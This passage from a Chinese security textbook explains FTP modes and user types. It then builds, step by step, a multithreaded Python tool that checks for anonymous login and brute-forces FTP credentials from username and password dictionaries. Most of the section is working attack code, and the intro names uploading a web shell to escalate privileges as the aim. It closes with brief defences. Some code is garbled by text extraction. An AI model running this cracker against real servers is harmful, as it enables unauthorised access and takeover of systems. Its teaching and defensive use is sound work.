FTP(File Transfer Protocol ,文件传输协议)是一个文件传输协议,用户通 过FTP可从客户机程序向远程主机上传或下载文件,常用于网站代码维护、 日常 源码备份等。如果攻击者通过FTP匿名访问或者通过弱口令破解获取FTP权限,将 可直接上传Web Shell来进一步渗透提权,直至控制整个网站服务器。
7.4.1 编写脚本
FTP是基于TCP的,FTP的命令端口为21 ,数据端口为20 。FTP的任务是将一 台计算机的文件传送到另一台计算机上。在使用FTP前需要进行身份验证,验证 通过后才能获得相应的权限。这里我们简单介绍一下FTP的基础知识。
FTP中有三种用户类型:
·Real账户:默认的主目录就是用其账户命名的目录,同时也可以切换到系统 中的其他目录。
·Guest用户:默认的主目录就是用其账户命名的目录,只能访问自己的主目 录,不能查看其他目录。
·Anonymous用户:在FTP服务器中没有指定账户,但是其仍然可以匿名访问 某些公开的资源。
FTP中有两种工作模式:
·Port(主动)模式:FTP客户端从任意一个大于1024(N)的端口主动连接 FTP服务器的21端口(命令端口)来建立连接,用来发送命令,同时监听N+1端 口。当客户端需要接收数据时,则会发送一个PORT命令给FTP服务器,FTP服务 器则会通过20端口(数据端口)来与客户端的N+1端口建立连接并传输数据,如 图7-11所示。
·PASV(被动)模式:客户端同样会开启两个大于1024的端口(N ,N+1), 第一个同样是用来连接FTP服务器的21端口,但是客户端不会提交PORT命令,而 是提交PASV命令,FTP服务器收到PASV命令后会开启一个大于1024的端口
(P),并发送PORT命令给客户端,然后客户端从N+1端口主动连接到FTP服务 器开启的端口P用来传送数据。
图7-11 FTP主动工作模式
该模式主要用于防火墙之后的FTP客户端访问外界FTP服务器的情况,因为如 果是外界的FTP服务器主动对FTP客户端建立连接的话,会被防火墙阻止,所以只 能让防火墙之后的客户端主动去连接服务器,如图7-12所示。
图7-12 FTP被动工作模式
Python中默认安装的ftplib模块是专门用于支持FTP操作的,该模块提供了用 来实现FTP登录、上传和下载等功能的函数,我们只需要调用相应的功能函数即 可完成对FTP的操作。这里主要介绍脚本所需要使用的函数:
·ftp.connect( "IP" ,"port" ,"timeout" ):对指定的FTP服务器进行连接。
·ftp.login( "username" ,"password" ):指定连接所需的用户名和密码,如果 为空,则默认进行匿名登录。
·ftp.quit() :与FTP服务器断开连接。
具体步骤如下:
1)写入脚本的信息,导入相关的模块:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import import import import
ftplib
os
optparse
threading
2)编写匿名用户登录检查函数,检查FTP是否允许匿名用户登录:
def CheckAnonymous(FTPserver) :
try:
# 检测是否允许匿名用户登录
print( '[-] checking user [anonymous] with password [anonymous] ') f = ftplib.FTP(FTPserver)
f.connect(FTPserver, 21, timeout=10)
f.login()
print ("\n[+] Credentials have found successfully .")
print ("\n[+] Username : anonymous")
print ("\n[+] Password : anonymous")
resultFile = open( 'result ', 'a ')
resultFile .write("success !!!username:{},password : {}" .format
("anonymous", "anonymous"))
resultFile .close()
f.quit()
except ftplib.all_errors:
pass
3)编写线程类,当线程找到正确的账户或密码时,将其写入文件并退出程 序: |
class ThreadWork(threading .Thread) : def __init__(self,ip,usernameBlocak,passwordBlocak,port) : threading .Thread.__init__(self) self.ip = ip self.port = in t(port) self.usernameBlocak = usernameBlocak self.passwordBlocak = passwordBlocak def start(self) : # 从账户子块和密码子块中提取数据,分配给线程进行破解 for userItem in self.usernameBlocak : for pwd Item in self.passwordBlocak : self.run(userItem,pwd Item) def run(self, username, password) : try: print( '[-]checking user[ ' + username + '],password[ ' + password + '] ') f = ftplib.FTP(self.ip) f.connect(self.ip, self.port, timeout=15) # 若账户或密码错误,则会抛出异常 f.login(username, password) f.quit() print ("\n[+] Credentials have found successfully .") print ("\n[+] Username : {}" .format(username)) print ("\n[+] Password : {}" .format(password)) resultFile = open( 'result ', 'a ') resultFile .write("success !!! username: {}, password : {}" .format (username, password)) resultFile .close() # 找到正确的账户和密码就退出程序 os ._exit(0) # 捕捉账户、密码错误异常 except ftplib.error_perm: pass |
4)编写破解函数,如下所示:
|
def FTPExploit(ip,usernameFile,password File,threadNumber,ftpPort) :
print("============破解信息============")
print("IP:" + ip)
print("UserName:" + usernameFile)
print("PassWord :" + password File)
print("Threads:" + str(threadNumber))
print("Port :" + ftpPort)
print("=================================")
# 先检查是否允许匿名用户登录
CheckAnonymous(ip)
# 读取账户文件和密码文件,并存入对应列表
listUsername = [line .strip() for line in open(usernameFile)]
listPassword = [line .strip() for line in open(password File)]
# 将账户列表和密码列表根据线程数量进行分块
blockUsername = partition(listUsername, threadNumber)
blockPassword = partition(listPassword, threadNumber)
threads = []
# 给线程分配工作
for sonUserBlock in blockUsername:
for sonPwdBlock in blockPassword :
work = ThreadWork(ip,sonUserBlock, sonPwdBlock,ftpPort)
# 创建线程
workThread = threading .Thread(target=work.start)
# 在threads中加入线程
threads .append(workThread)
# 运行子线程
for t in threads:
t.start()
# 阻塞主线程,等待所有子线程完成工作
for t in threads:
t.join()
5)编写分块函数,根据线程数把字典拆分成相应数量的子列表: |
# 列表分块函数 def partition(list, num) : # step为每个子列表的长度 step = in t(len(list) / num) # 若子列表不够除为0时,就把step设置为子线程数 if step == 0: step = num part List = [list[i :i+step] for i in range(0,len(list),step)] return part List |
6)编写main 函数,主要涉及banner的显示、参数的设置、FTP破解函数的调 用: |
if __name__ == '__main__ ' :
print("\n#####################################")
print("#
print("#
print("#
parser = optparse .OptionParser( 'Example: python %prog -i 127 .0 .0 .1
-u ./username -p ./password -t 20 -P 21\n ')
parser .add_option( '-i ', '--ip ', dest= 'target IP ',
default='127.0.0.1 ', type= 'string ',
help= 'FTP Server IP ') # 添加FTP地址参数-i
parser .add_option( '-t ', '--threads ', dest= 'threadNum ',
default=10, type= 'in t ',
help= 'Number of threads [default = 10] ') # 添加线程参数-t parser .add_option( '-u ', '--username ', dest= 'userName ',
default= ' ./username ', type= 'string ',
help= 'username file ') # 添加用户名文件参数-u
parser .add_option( '-p ', '--password ', dest= 'passWord ',
default= ' ./passwords ', type= 'string ',
help= 'password file ') # 添加密码文件参数-p(小写)
parser .add_option( '-P ', '--port ', dest= 'port ',
default= '21 ', type= 'string ',
help= 'FTP port ') # 添加FTP端口参数-P(大写)
(options, args) = parser .parse_args()
try:
FTPExploit(options .target IP,options .userName,options .passWord,
options .threadNum,options .port)
except :
exit(1)
这里打开Slyar FTPserver工具,输入账户名称和账户密码,点击“启动服务”按 钮,即可开启一个FTP服务,软件界面如图7-13所示。
图7-13 Slyar FTP界面
接着指定脚本参数,运行脚本如图7-14所示。
图7-14 脚本参数
破解成功后脚本会自动退出,并把结果写到result文件中,破解结果如图7-15 所示。
图7-15 破解结果
7.4.2 防御策略
FTP服务被攻击的绝大多数原因是FTP账户的口令被破解,少部分是因为FTP 软件自身以及配置的问题。对于FTP破解的防御手段也可以借鉴后台弱口令的防 御策略,此外,这里补充几点:
·应禁止匿名登录。
·及时更新FTP软件,防止旧版本有漏洞。
·避免使用管理员权限来运行FTP服务。